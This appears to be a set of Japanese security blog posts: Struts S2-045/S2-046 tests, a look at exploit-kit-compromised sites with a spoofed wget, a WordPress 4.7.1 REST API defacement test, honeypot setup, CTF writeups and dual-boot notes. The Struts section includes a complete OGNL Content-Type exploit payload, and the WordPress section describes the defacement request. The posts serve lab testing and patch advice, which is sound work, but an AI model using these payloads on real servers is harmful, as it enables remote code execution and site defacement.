続・Apache Strtus 2 の脆弱性(S2-045・S2-046)について
前回に引き続き、Apache Struts2の脆弱性についてです。
色々と新しい情報が出てきたので改めて。
Apache Struts2 の Jakarta Multipart parser の脆弱性
影響を受けるバージョン
対策
・脆弱性修正バージョンへのアップデート
回避策
公式から提供されているパーサ修正のプライグインの適用
以前回避策とされていた内容ですが、
MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。
⇒Jakarta Streamでも影響を受けることが判明
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。
⇒Content-LengthとContent-Dispositionヘッダでも攻撃が可能なことが判明
ということで注意が必要です。
Content-LengthとContent-Dispositionを利用した新しい攻撃コードが公開されています(S2-046・CVE番号はS2-045と変わらずCVE-2017-5638)。
さらっと攻撃コードを試してみました。
・脆弱バージョン(Struts 2.5.10)
・修正済みバージョン(Struts 2.5.10.1)
コマンドが実行されています。
パケットの内容を見るとこんな感じです。
Content-Lengthに大きい値を入れてエラーを起こし、Content-Dispositionのコードを実行します。コード実行のメカニズムはS2-045と変わらないですね。
影響範囲も同じですが、S2-045を特定の回避策をとっていた場合影響を受けるかもしれません。
やはり脆弱性対応はバージョンアップが基本ですね。
Strutsから今回の脆弱性を緩和するためのPluginも出ています。試してみたかったのですが、ビルドする環境を作るのが面倒になってやめました。
バージョンアップできない方は試してみてください。
Strutsを狙った攻撃ですが、最近立てていたWebハニーポットのGlastopfにも攻撃が来ていました。以下のようなものです。
S2-045の攻撃です。見たときはS2-045とS2-046の複合的な攻撃かと思いましたが、そうではないようです。POSTの中に攻撃コードがそのまま入っていますが、なにか意味があるんですかね……。
実行するとnMaskという文字が出力されます。
IP直打ちで「/」直下への攻撃ということで無差別のスキャンだとは思います(そもそもこのハニーポット、検索エンジンのインデックスなどもしてないですし)。
Apache Strtus 2 の脆弱性(S2-045)について
Apache Strutsの脆弱性S2-045が3月6日に公開されました。
JVNVU#93610402: Apache Struts2 に任意のコードが実行可能な脆弱性
Apache Struts2 には、Jakarta Multipart parser の処理に起因する、任意のコードが実行可能な脆弱性が存在します。
注意喚起
Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起
Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045):IPA 独立行政法人 情報処理推進機構
まとめ
Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog
2017年3月に発生したApache Struts 2で稼働していたとみられるWebサイトへの不正アクセスについてまとめてみた - piyolog
Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について | LAC WATCH | 株式会社ラック
技術検証
Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記
CVE-2017-5638 - 脆弱性調査レポート | ソフトバンク・テクノロジー
Apache Struts2の脆弱性(CVE-2017-5638)を検証してみた - とある診断員の備忘録
リモートから任意コード実行というとても危なげな脆弱性です。Struts 2は過去にもいくつか同じレベルの脆弱性が公開され、なんだかんだ影響が大きかったように思います。
今回もどうもそんなパターンのようです。
内容については上記記事が大体まとめてくれています。つぎはぎすると以下のような感じ。
簡単に概要
この脆弱性は、ファイルアップロード時に使用するマルチパーサー「jakarta」に起因する脆弱性で、同マルチパーサーはApache Struts 2にてデフォルトで使用しているものです。 この脆弱性を利用した攻撃が成立した場合、リモートからApache Struts2が配置されたWebアプリケーションサーバーの実行権限で任意のコードを実行される危険性があります。
ファイルアップロード時のヘッダの処理方式に問題があるようです。
要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。
影響を受けるバージョン
対策
2017年3月8日付リリース以降のバージョンに更新する。
・Apache Struts 2.3.32 以降
・Apache Struts 2.5.10.1 以降
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。・https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries
回避策
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。
Multipartパーサーの切り替えやサーブレットフィルタはあくまで次善策と考え、アップデートでの対応が望ましいと思われます。
追記・2017/03/25
MultipartパーサーはJakarta Streamでも影響を受けることが公開されました。また、Content-Type以外に、Content-LengthとContent-Dispositionの値を利用した攻撃コードも公開されています。対策についはご注意ください。
後追いですが、検証してみます。
「とある診断員」さんのリンクから、DockerでStrutsの検証環境構築に関する記事へのリンクがあり、これが役に立ちます。
Dockerを使って、Apache Struts2の脆弱性S2-037のやられ環境を手軽に作る - DARK MATTER
以下のようなDockerfileを作成
FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]
ADDするwarファイルは好みに応じて、必要なStrutsのバージョンをダウンロードし、展開したものを用意し、そのパスを指定します。
ビルドして実行
docker build -t struts/s2_045 .
docker run -it --rm -p 8080:8080 struts/s2_045
あとはリクエストを投げるだけ。
割と結構面倒なStrutsの環境構築がものの数分で完了するという手軽さ。しかも、Dockerfileをちょっと書き換えるだけで異なるバージョンの環境も簡単に作れます。
後は 「http://localhost:8080/struts2-rest-showcase/orders.xhtml」にアクセスできることを確認し、環境構築は完了です。
攻撃検証の方法はなんでもいいのですが、要は「Content-Type」ヘッダに攻撃コードを入れればいいので、REST Clientでやってみます。
URLを指定し、「Content-Type」ヘッダに以下のような攻撃コードを追加。
"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println("testest")).(#ros.flush())}"
まず普通にGETした結果。
次に 「Content-Type」に攻撃コードを追加した結果。
これで、コマンドの結果が返ってきます。ちなみに、GETでもPOSTでもどちらでも攻撃は可能です。
脆弱性の修正されたバージョンのStruts 2.5.10.1に対して、同じリクエストを投げてみると、GETでは200、POSTでは400が返ってきましたボディを確認すると、コマンドは実行されていないようです。
昨年の春ごろもStrutsの脆弱性が騒がれていたので、前回の大きな脆弱性から1年経っていません。Strutsを利用している方は、やはりWAFなどの攻撃に対する緩和策も用意しておくのがいいかと思います。
……一番の対策はStrutsを使わないことじゃないでしょうか。
wgetで Exploit Kit 改ざんサイトへアクセスする
ブラウザやFlashなどのブラウザのプラグインの脆弱性をついてドライブバイダウンロード攻撃によりWeb経由でマルウェア感染を行うためのツールキットがExploit Kitです。
攻撃者は正規のWebサイトを改ざんし、Exploit Kit へ正規サイトへアクセスしたユーザを誘導し、マルウェアをインストールさせようとします。
今回はその Exploit Kit 誘導に利用される改ざんされたサイトの調査です。
最近多いのがRIGと呼ばれるExploit Kitで、これに関するレポートがLAC社より出ています。
Exploit Kitの特徴など、基本的なところはレポートを読めばわかるかと思いますし、それ以上詳しくここで説明する気もありません。
Exploit Kitに関する分析・解説記事はネット上に沢山ありますが、このレポートは各種攻撃キャンペーンについて詳しく書いてあり、参考になります。
Exploit Kitへ誘導するための正規Webサイトの改ざんには攻撃キャンペーンごとに特徴があります。レポートで取り上げられていた攻撃キャンペーンは以下の3つ。
- Pseudo-Darkleech
- EITest
- Afraidgate
今回はこのうち、「1. Pseudo-Darkleech」と「2. EITest」で改ざんされたWebサイトにアクセスしてみます。
1. Pseudo-Darkleech
レポートによると、最近のPseudo-DarkleechキャンペーンではCerber Ransomwareに感染させることを目的としています。
古いバージョンのFlashをインストールしたInternet ExplorerでPseudo-Darkleechにより改ざんされたWebサイトにアクセスしてみると、ブラウザ上では下記のような表示になります。
この後、ユーザの一時フォルダ内でCerber Ransomwareが実行され、気が付くとファイルが暗号化され脅迫文が表示されるという状況になります。
このPseudo-Darkleechでは最初の改ざんサイトへアクセスしてきたユーザが攻撃対象であるかをUser Agentで判断しているようです。そのため、単純にwgetしただけではExploit Kitへ誘導するためのスクリプトは含まれていない、通常のコンテンツが返ってきます。しかし、wgetでもWindowsのIEのUser Agentを指定してやれば、Exploit Kitへ誘導するためのスクリプトを含んだコンテンツが返ってきます。
User Agentの指定なしで取ってきたコンテンツとUser Agentを指定して取ってきたコンテンツを比較すると、Exploit Kitへの誘導部分が分かりやすいです。
改ざんがばれないようにか、解析させないためにか、攻撃者はこういうちょっと面倒なことをしてきます。
2. EITest
こっちはもっと面倒です。実際にやってみると、全然Exploit Kitへの転送を行うスクリプトが返ってきませんでした。
レポートによると、EITestの改ざんでは、海外のIPを利用するためにオープンプロキシを利用してアクセスしなければならなかったとあります。
また、EITestではPseudo-Darkleechでも見ていたUser Agentに加え、さらにリファラで確実にWeb経由でのアクセスであることを確認しているようです。
なので、wgetを実行する際、WindowsのInternet ExplorerのUser Agentを指定し、Google経由でアクセスするときのリファラを指定して、攻撃者が想定している国のプロキシを利用してアクセスして初めてExploit Kitへ誘導されます。
本当に、面倒くさい……。
実際にやってみます。
コマンドはこんな感じになります。
$ wget "http://www.XXXXX.com/" --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" --referer="https://www.google.co.jp/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjMzPTumsLSAhUKa7wKHSc9CswQFggfMAA&url=http%3A%2F%2Fwww.XXXXX.com%2F&usg=AFQjCNHIc2UQEFWmNNNtk8hY6gkEKuExkw" -e HTTP_PROXY=XX.XX.XX.XX:8080
で、アクセスした結果はこんなん。
条件は以下の通りです。何も考えずに条件を変えていったので、少し見にくいですが。
ファイル名 | User Agent | リファラ | プロキシ |
---|---|---|---|
index.html | あり(Win7 IE11) | あり(Google) | あり(ドイツ) |
index.html.1 | あり(Win7 IE11) | あり(Google) | なし(日本) |
index.html.2 | なし | なし | なし(日本) |
index.html.3 | あり(Win7 IE11) | あり(Google) | あり(中国) |
index.html.4 | なし | あり(Google) | あり(中国) |
見ると、中国のプロキシ経由でUser Agentとリファラを指定したときのみ、取得したコンテンツのサイズが少し大きくなっていることが分かります。
diff取ると確かにExploit Kitへのリンクが含まれています。
EITestはランサムウェアだけでなく、金融系などの様々なマルウェアに感染させようとします。だから、できるだけ解析させないよう面倒な手順を踏んでいるのではないでしょうか。
また、EITestではExploit Kit以外にChromeでアクセスしたユーザに偽のポップアップ画面を表示してChromeのアップデートを促し、マルウェアに感染させる手口もあるようです。
こちらもやってみました。
条件はこんな感じです。
ファイル名 | User Agent | リファラ | プロキシ |
---|---|---|---|
index.html | あり(Win7 Chrome) | あり(Google) | なし(日本) |
index.html.1 | あり(Win7 Chrome) | なし | なし(日本) |
index.html.2 | なし | なし | なし(日本) |
index.html.3 | あり(Win7 Chrome) | あり(Google) | あり(ドイツ) |
index.html.4 | あり(Win7 Chrome) | なし | あり(ドイツ) |
index.html.5 | あり(Win7 IE11) | あり(Google) | あり(ドイツ) |
1つだけ明らかにサイズが大きいものがあります。
まず、index.htmlをChromeで開いてみます。
普通のサイトです。次に下のindex.html.3をChromeで開きます。
なんかのフォントが足りないみたいに言われています。モザイクかけちゃいましたが、後ろのページの表示も一部崩れているという芸の細かさ。
そして、Chromeのアップデートをしろと丁寧に言われました。このUpdateボタンをクリックするとマルウェアが落ちてきてそれを実行して感染、という流れになるはずです。
このUpdateのリンクを踏んでみましたが、残念ながらマルウェアを置いてあるホストがなくなった後らしく、リンク先が見つかりませんと言われて終わりました。
EITestのExploit Kitへのアクセスがとても面倒だということが分かりました。おそらくUser AgentとリファラとIP(国・地域)で識別しているようですが、実際、そのサイトがどこの何を狙っているかが分からないし、もしかするとこれ以外にも制約があるかもしれないです。色々な条件でアクセスして全くExploit Kitへ誘導されないこともあったので、もしかすると条件に合ってもランダムで誘導したりしなかったりするのかもしれないとか考えたりしました。
もちろん、こんな面倒をしているのもwgetなんか使っているからで、攻撃者は一般的なブラウジングの結果、そこにたどり着くことを想定しており、普通のブラウザからアクセスならExploit Kitへ誘導される可能性はもっと高くなります。
今回はExploit Kitの攻撃キャンペーンがどのようなWeb改ざんを行っているのかを調べてみました。アクセス時の条件によって挙動が変わるのは面白いです。あと、wgetでも色々頑張れることが分かりました。
できればクローラでマルウェアのダウンロードまで行えるようになればいいなあ。
WordPressのREST APIの脆弱性
2月当初から話題になっているWordPressの脆弱性の検証を調べてみました。
2月の2週目の頭くらいに改竄速報さんが荒ぶってまして、その原因がこのWordPressの脆弱性をついたWeb改ざんのようです。
改ざん被害について、Web改竄速報さんがまとめてくれています。
2017年2月に発生した「WordPress」の脆弱性に対する攻撃についてのレポート
とても簡単なリクエストで改ざんされるので、情報が公開されてから、日本のものを含め、大量のWebサイトが改ざんされました。
各所で注意喚起がなされています。
WordPress の脆弱性対策について:IPA 独立行政法人 情報処理推進機構
WordPressの脆弱性に関する注意喚起[みんなでしっかりサイバーセキュリティ]
運用している方はすぐに最新のもにアップデートしましょう。
技術的な内容については下記の記事(徳丸さんのブログ)が詳しいです。
リクエストのパラメータでエラーを起こすと、書き込み権限のチェックが正常に行われず、記事の更新が実行されてしまうようです。
この脆弱性があるのでWordPressの4.7と4.7.1です。REST APIがデフォルトで有効になっており、当該バージョンであれば、攻撃が成功する可能性が高いです。
・脆弱性検証
簡単にできるので、ちょっと検証してみました。バージョンはWordPressの4.7.1です。
インストールして、改ざんように記事を用意しました。
この記事に対して、攻撃を行います。
POSTリクエストのパラメータは「?id=1A」みたいに「記事のID(数字) + {文字}」のようになります(数字が入るはずの場所に文字を混入させてエラーを起こす。)
POSTのボディに改ざんするデータをJSON形式で渡します。(今回は記事の内容を「Hacked by me」に改ざんします)
改ざんされました。
ちなみに、ここでPHPやjavascriptのコードを書いても消されてしまいます。なので、バックドアの設置とか、サーバ自体への攻撃は難しいようです。その辺は結構しっかりしてるみたいですね。
ただ、コードを直に書けるプラグインなどが入っていれば攻撃は行われるようです。
上記の記事では PHPコードを記事内で実行するためのプラグインとしてInsert PHP や Exec-PHP などと紹介されています。
ということで、検証してみたのですが、せっかくなので、別のプラグインで試してみます(というか、Insert PHP がうまくいかなかった)。
「inline-javascript」というプラグインを入れて、javascriptを実行してみます。
内容は下記のような感じ。
[inline]
<script type="text/javascript">
alert('Hacked!!!');
</script>
[/inline]
で、改ざんします。
できました。
試した内容は以上ですが、コード実行関係のプラグインは他にも色々ありそうです。今回の脆弱性はプラグインではなく、WordPress本体のものです。Wordpressのアップデートを実施しましょう。できなければ、次善策としてREST APIの無効化ですかね。
これだけ大きく被害があり、話題になれば、対策しない人のほうが少ないんじゃないかなんて思いますが、環境によってはコード実行まで行われますので、そうした環境を狙った攻撃が行われていく可能性があります。
アップデートしましょう。それだけです。
Dionaeaハニーポット
低対話型のハニーポットであるDioanaeに関するメモです。
低対話型のサーバーハニーポットとしては一番完成度が高いそうで、とりあえず試しにやってみるならこれ、というところじゃないでしょうか。
ともあれ、自分でインストールを試みたものの、古いのか、うまくいかないものが多かったので、備忘録的に残しておきます。
・Dionaeaについて
低対話型のサーバーハニーポット。エミュレートするプロトコルは以下の通り。
- Server Message Block (SMB)
- Hypertext Transfer Protocol (HTTP)
- File Transfer Protocol (FTP)
- Trivial File Transfer Protocol (TFTP)
- Microsoft SQL Server (MSSQL)
- Voice over IP (VoIP)
多分下記のページが本家(検索するしても出てこない……)
Dionaea – A Malware Capturing Honeypot
このページのインストール手順のgitのリンクが既にお亡くなりになっているようで、こちらのインストール手順だとうまくいかない。
リポジトリを追加して、apt-getでインストールする方法もありましたが、そちらも消えているようでリポジトリが見つかりませんでした( Installation — dionaea 0.6.0 documentation )。
インストールはこの辺を参考にしました。
上の記事のコマンド通りで問題なく入りました。
インストール後、設定ファイルをいじります。
まず、ログに関する設定から。「logging」の中のそれぞれのlevelを必要なものだけ吐き出すよう、変更します。
default = {
levels = "all,-debug"
} errors = {
levels = "error"
}
次に、待ち受けるインターフェースの設定。「listen」のインターフェースに待ち受けるIPアドレスを入れます。
mode = "manual"
addrs = { eth0 = ["xx.xx.xx.xx"] }
この設定を入れないまま起動すると、自分の環境ではローカルループバックで待ち受けていました。
それから、dionaeaを動かすようのユーザを作成します。
# groupadd dionaea
# useradd -g dionaea -s /usr/sbin/nologin dionaea
# chown -R dionaea:dionaea /opt/dionaea/
以上でDionaeaを起動します。Dオプションをつけるとデーモンとしてバックグラウンドで起動するようです。
# /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.conf -w /opt/dionaea -u dionaea -g dionaea -D
止める際は……コマンドは用意されていないんですかね。プロセスをKillしましょう。
環境はCentOS7でDocker上にUbuntuをベースとしてインストールしました。
ちなみにDockerだと、こういうのもありました。
GitHub - DinoTools/dionaea-docker
今回はインストールからと思い、試してはいません。
ちょっと情報が古いものが多く、手間取りました。Dioanae自体はもう結構前からあるハニーポットなので、仕方ないですかね。そろそろ新しいものが出てきてもいいんじゃないかとか思いつつ。
HTTPなどはGlastopfなどのWeb型のハニーポットもありますし、Dioanaeに飽きたら、そのあたりもやってみたいと思います。
飽きるまでは、しばらくDioanaeを稼働させておいてみようかと思います。
SECCON 2016!
会社の方々とチームで参加しました。
去年も参加したのですが、今年のSECCONは一味違いましたね。とてもCTFらしい問題ばかりでした。
昨年の問題を復習し、対策していたのですが、何一つとして役に立たなかったですね。
今年の問題SECCONらしい問題と言えば、SECCON TOWERくらいじゃないでしょうか。
他の方の解き方を見ると、画像を取得、機械学習で分析、デコードといった感じでした(まあ、そうだよな)。今どきのセキュリティ人材は機械学習くらいできなきゃダメなんですね。
こういう出題者を殴りたくなるような(いい意味で)問題こそSECCONの醍醐味だと思うのですが、これ以外は割と他のCTFでもありそうな一般的な問題ばかりでした。
ツールにかけるだけとか、頭をひねれば一発とか、とにかく時間をかけてQRコードを読み続ければフラグにたどりつけるみたいなイージーな問題はどこかにいってしまったようです。
■Vigenere
最初の問題で、これはそれほど難しくありません。Vigenère cipherだとご丁寧に Wikipedia つきで言ってくれてます。Vigenère cipher とはなんぞや、というとただの換字式暗号です。平文の各文字に対して鍵を順次一文字ずつ取り出し、平文の一文字と鍵の一文字を暗号表に当てはめれば暗号文の一文字が取り出せます。
問題の暗号は以下の通り。
k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
鍵の最初5文字は平文と暗号文から暗号表をたどれば出てきます。鍵は「VIGENER?????」です。
残りは5文字なので、これくらいなら総当たりで解けます。
鍵と暗号文から平文を生成する復号用のスクリプトを作成します。鍵の?にはA~Zに{}を含めた28文字を与え、その28*5のパターンの鍵からcを復号した平文のmd5を「f528a6ab914c1ecf856a1d93103948fe」と比較し、マッチしたものを出力します。
で、フラグが出ます。
くそコードは省略します。
■Memory Analysis
メモリダンプが落ちてきて変なプロセスがアクセスしているWebサイトを突き止めろという THE・フォレンジックな問題です。
こちらもご丁寧にHintにメモリフォレンジックの定番ツールである Volatility が紹介されています。
ただ、私のようなフォレンジック超初心者にはCUIツールは使いこなせないので、 KaniVola を使います。
KaniVolaはThe Volatility FrameworkのWindows用GUIインターフェースです。CLIであるVolatilityを実行する際に指定する複数のオプションを、少ない操作で入力し実行結果を簡単に保存できることを目的としています。
ということで、GUIでポチポチ選択すると適切なオプションを選んでくれてVolatilityのコマンドをたたいてくれるというツールです。いちいち調べたりせず、何も考えずそれらしいものを選択して実行するだけなので、とても簡単です。
さて、問題のメモリダンプを解析しましょう。問題は以下の通り。
Memory Analysis
Find the website that the fake svchost is accessing.
You can get the flag if you access the website!!
Webサイトと言っているので、ネットワーク関連を調べます。「connection」を選択し、実行します。
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080
80番で怪しげな通信先につなげに行っています。次にsvchostがどうのこうの言っているので、プロセスも見てみましょう。「pstree」を選択し、実行します。
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
~~~
.... 0x81f0dbe0:spoolsv.exe 1644 672 15 133 2016-12-06 14:27:10 JST+0900
.... 0x81f65da0:svchost.exe 1776 672 2 23 2016-12-06 14:27:10 JST+0900
..... 0x8225bda0:IEXPLORE.EXE 380 1776 22 385 2016-12-06 14:27:19 JST+0900
...... 0x8229f7e8:IEXPLORE.EXE 1080 380 19 397 2016-12-06 14:27:21 JST+0900
~~~
先ほどのIPへアクセスしているプロセスID「1080」のプロセスの親にsvchost(PID: 1776 )がいますので、こいつが「the fake svchost」じゃないかと予想できます。
つまりIPアドレス「153.127.200.178」が設問にあるプロセスがアクセスしているWebサイトだとわかりました。
ここで、このアドレスをブラウザで打ち込んでみると、nginxのサイトが立っていることが分かりました。でもそれだけ。どうやらURLが必要なようです。
このままVolatilityで調べることも可能なのでしょうが、フォレンジック雑魚の私にはどのコマンドを打てばいいのか分からりません。
ということで別のツールを使います。
bulk_extractor という、メモリからファイルを抽出できるツールです。ダウンロードしてインストールしてもいいですが、REMnuxに入っています。
REMnux: A free Linux Toolkit for Reverse-Engineering and Analyzing Malware
REMnuxで先ほどのメモリダンプに対してbulk_extractorを実行します。
bulk_extractor forensic_100.raw ./out
これで ./out ディレクトリにメモリダンプから抽出されたファイルが出力されます。
中身を見るとパケットファイルがあり、これをWireSharkで見てみます。
先ほどのIPで絞ってもいいですし、HTTPでフィルタをかけてもそのIPしか出てきません。
で、そのIPのドメインは「crattack.tistory.com」となっており、なんのサイトか調べると、なにやら韓国語のサイトが出てきました。このドメインを逆引きしても先ほどのIPにはならず、それぞれのIPのwhois情報も違っていることが分かります。
そこで、先ほどのIPにこのドメインのURLを組み合わせるたものへアクセスします。
http:// 153.127.200.178/entry/Data-Science-import-pandas-as-pd
これでフラグが書かれたファイルが落ちてきました。
私はいくつかのツールを動かしただけなのであまりがっつり解析しなくても正解できるフォレンジック入門者にはうってつけの問題ではないでしょうか。
ただ、私にとってはHintに紹介されたVolatilityよりもbulk_extractorのほうが使い勝手がいいように感じました。(コマンド一つで問題がパケット解析になるので)
以上2問を解いた後、ほかの問題をつまみ食いしながらどの問題にも歯が立たず、SECCON TOWERを眺めていたら時間になりました。
冒頭にも書きましたが、去年とSECCONの問題の傾向か変わったようで、来年以降どうなるかはわかりません。少なくとも今回で、デバッガや逆アセンブラを使えるようになり、バイナリとお友達になる必要性は感じました。
UEFI + GPT 環境でのデュアルブート(Windows 10 & Ubuntu16.04)
ここしばらく、Linuxをメインで使えるマシンがほしいなと思いながらいたのですが、ようやくデュアルブートに成功したので、その時のメモです。
ポイントとしては、
①インストールメディアをUEFIで起動する
②ブートローダをインストールする位置
の2点です。
ここを参考にしました。↓
・ 手順
- リカバリ
- パーティションの切り分け
- Windows 10 へアップグレード
- Ubuntu のインストールメディアの作成
- Ubuntu の起動
- Ubuntu のインストール
以上です。
かいつまんで、ポイントだけ。
1. 一度デュアルブートに失敗し、WindowsもUbunutu も起動しなくなったためにこれをする必要がありました。買ってすぐのPCでも、リカバリ用」のディスクなどはちゃんと用意しておきましょう。ちなみに私のPCは工場出荷状態ではWindows 7です。
2. パーティションは先にUbuntu をインストールする分を空けておく。Windowsでディスクの縮小をして、ハードディスクに空きの容量を確保しておきます。
3. 一度アップグレードしていたので、リカバリしても再度アップグレードができます。Windows 10のアップグレードですが、やるならUbuntu をインストールする前のほうが確実かと思います。Windows 10 はアップデートの際にリカバリ用のパーティションを作るそうで、それが原因でUbuntu が起動しなくなるというトラブルが起こり得るようです。回避方法や復旧方法もあるでしょうが、先にアップグレードはしておいたほうが無難かと思います。
4. ISOファイル( Ubuntuの入手 | Ubuntu Japanese Team )をダウンロードして、DVDなら適当なソフトで焼く。あるいはUSBにインストール。私は UNetbootin を使ってその辺に転がってた2GのUSBメモリにインストールしました。Ubuntuなら2Gでもぎりぎり入ります。
5. まず、Windows 10の「高速スタートアップ」を無効にしましょう。これをしないと、BIOSやブートデバイスの切り替えができません。
コントロールパネル
⇒ 電源オプション
⇒「電源ボタンの動作を選択する」
⇒「現在利用可能ではない設定を変更します」
⇒「高速スタートアップを有効にする」のチェックボックスを外す
⇒ 変更の保存
再起動して、ブート時に何かしらのキーを押してブートデバイスを選択します。
ここで、最初のポイントです。UEFI環境で外部デバイスからOSを起動しようとすると、起動するデバイスの選択肢が2つ現れます。
私の場合「UEFI : USB Reader」と「USB Reader」のような感じでした。ここでUEFIではないほうを選んでしまうと、場合によっては Windows も Ubuntu も起動しなくなります。UEFIからメディアを起動すると、Ubunut の場合、黒いGRUBのブートメニューが表示されます。
UbuntuTips/Install/UEFI - Ubuntu Japanese Wiki
Liveイメージで起動時にCUI画面で白文字のgrubメニューが現れる。(UEFIモードで起動している)
Liveイメージで起動時に紫のスプラッシュ画面で起動し、GUIとインストーラーが立ち上がる。(Legacyモードで起動している)
ちゃんとUEFIで起動していることを確認しましょう。
6. 最後にUbuntu のインストールです。普通にOSをインストールする手順通りです。「インストールの種類」で「それ以外」を選択し、パーティションをカスタマイズします。と言っても、2で開けておいたスペースにインストールするだけです。私は適宜「/」、「/boot」「/home」などにお好みで振り分けてください。
ここで重要なポイントはブートローダの位置です。デフォルトではディスクの先頭(「/dev/sda」など)が選択されていますが、これを、EFIタイプのパーティションの位置に変更します。(私の場合「/dev/sda1」。)
あらかじめ、GPartedでパーティションを確認すると「EFI System Partition」とラベルがついていました。あまり詳しくは知りません。
PCハードウェア強化ラボ:第4回 2Tbytes超ディスクをシステム用ディスクとして利用する (3/3) - @IT
先頭に「EFI システム パーティション」という100Mbytesのパーティションがあるが、これはGPT形式のディスクにおいて、ブート・コードを保存しておく場所である。
だ、そうです。
多くのデュアルブートの説明では「/boot」のパーティションに一緒にブートローダをインストールし、起動後MBRからそのパーティションを呼び出し、ブートメニューを開くような設定になっているようなのですが、GPTではそれができないため、今回の方法を取ることになりました。
私の環境では以上でデュアルブート環境が出来上がりました。
起動するとGRUBが立ち上がり、Ubuntu と Windows 10 が選択できるようになっています。(今のところ両OS問題なく動いています)
場合によっては参考に挙げたサイトで行っているような Boot Repair を使った修復作業などが必要になることもあるようです。
以上、個人的に一つ、悲願を達成できたので、メモとして残しました。デュアルブートは私のような「UEFI? GPT? 何それ、おいしいの?」というレベルの人は行わないほうがいいかと思います。
今は仮想化などの技術も進んでますし、「Windows Subsystem for Linux」なども出てきましたしね。まあ、一昔前の壊れてもいいやPCでハードディスク容量も余ってたので。
以上です。